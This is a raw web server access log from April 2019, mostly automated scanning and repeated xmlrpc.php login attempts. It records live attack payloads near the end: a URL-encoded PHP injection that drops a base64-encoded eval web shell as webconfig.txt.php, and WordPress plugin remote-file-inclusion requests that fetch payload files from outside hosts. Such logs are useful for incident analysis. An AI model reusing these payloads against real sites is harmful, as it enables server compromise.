127.0.0.1 - - [21/Apr/2019:00:12:53 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:00:12:53 -0400] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [21/Apr/2019:00:27:01 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:00:27:02 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:02:08:03 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:02:19:48 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:02:19:49 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:03:31:56 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:03:31:57 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:05:19:25 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:05:19:27 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 198.108.66.224 - - [21/Apr/2019:05:55:59 -0400] "GET / HTTP/1.1" 302 - 139.162.87.250 - - [21/Apr/2019:06:25:17 -0400] "GET / HTTP/1.1" 302 - 46.17.46.3 - - [21/Apr/2019:06:42:26 -0400] "-" 400 - 46.17.46.3 - - [21/Apr/2019:06:42:26 -0400] "GET //vtigercrm/vtigerservice.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:07:08:41 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:07:08:45 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:09:12:32 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:09:12:33 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:10:57:20 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:10:57:23 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:11:49:50 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:11:49:52 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:12:20:27 -0400] "GET /administrator/index.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:12:33:54 -0400] "GET /user/login HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:13:44:43 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:13:44:43 -0400] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [21/Apr/2019:16:15:34 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:16:15:34 -0400] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [21/Apr/2019:16:15:38 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:17:34:01 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:17:34:02 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:17:36:44 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:17:36:44 -0400] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [21/Apr/2019:17:36:48 -0400] "GET /images/favicon.ico HTTP/1.1" 200 1150 127.0.0.1 - - [21/Apr/2019:18:22:04 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:18:22:06 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:19:36:28 -0400] "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:19:36:44 -0400] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [21/Apr/2019:19:36:57 -0400] "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:19:37:12 -0400] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [21/Apr/2019:19:37:20 -0400] "GET /webconfig.txt.php HTTP/1.1" 302 - 127.0.0.1 - - [21/Apr/2019:19:37:20 -0400] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [21/Apr/2019:19:37:31 -0400] "POST /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://bearxcat.com//wp-includes/css/help.txt&wpaa=echo%20%22h1loo1%22; HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:19:37:45 -0400] "POST /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.klenzpro.com/wp-content/uploads/2017/03/sold_out.txt&wpaa=echo%20%22h1loo1%22; HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:19:37:59 -0400] "POST /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.tekmat.net/wp-content/uploads/2014/04/jpg.txt&wpaa=phpinfo(); HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:20:07:11 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:20:07:13 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:20:51:50 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137 127.0.0.1 - - [21/Apr/2019:20:51:52 -0400] "POST /login/xmlrpc.php HTTP/1.1" 200 2137